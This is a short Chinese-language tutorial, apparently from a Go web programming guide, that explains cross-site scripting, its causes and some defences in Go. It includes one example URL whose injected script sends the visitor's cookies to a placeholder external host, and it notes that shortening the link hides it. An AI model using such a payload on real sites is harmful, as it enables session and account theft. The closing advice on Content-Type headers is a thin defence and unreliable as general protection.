2 [TOC] ## 什么是XSS XSS攻擊：跨站腳本攻擊(Cross-Site Scripting)，為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS XSS目前主要的手段和目的如下： * 盜用cookie，獲取敏感信息。 * 利用植入Flash，通過crossdomain權限設置進一步獲取更高權限；或者利用Java等得到類似的操作。 * 利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻擊者）用戶的身份執行一些管理動作，或執行一些如:發微博、加好友、發私信等常規操作，前段時間新浪微博就遭遇過一次XSS。 * 利用可被攻擊的域受到其他域信任的特點，以受信任來源的身份請求一些平時不允許的操作，如進行不當的投票活動。 * 在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站，實現DDoS攻擊的效果 ## XSS的原理 Web應用未對用戶提交請求的數據做充分的檢查過濾，允許用戶在提交的數據中摻入HTML代碼(最主要的是“>”、“<”)，并將未經轉義的惡意代碼輸出到第三方用戶的瀏覽器解釋執行，是導致XSS漏洞的產生原因 如下url ``` http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62; ``` 在進行短域名轉以后,就很難被察覺 ## 如何預防XSS 目前防御XSS主要有如下幾種方式： 1. 過濾特殊字符 2. 避免XSS的方法之一主要是將用戶所提供的內容進行過濾，Go語言提供了HTML的過濾函數： text/template包下面的HTMLEscapeString、JSEscapeString等函數 3. 使用HTTP頭指定類型 `w.Header().Set("Content-Type","text/javascript")` 這樣就可以讓瀏覽器解析javascript代碼，而不會是html輸出。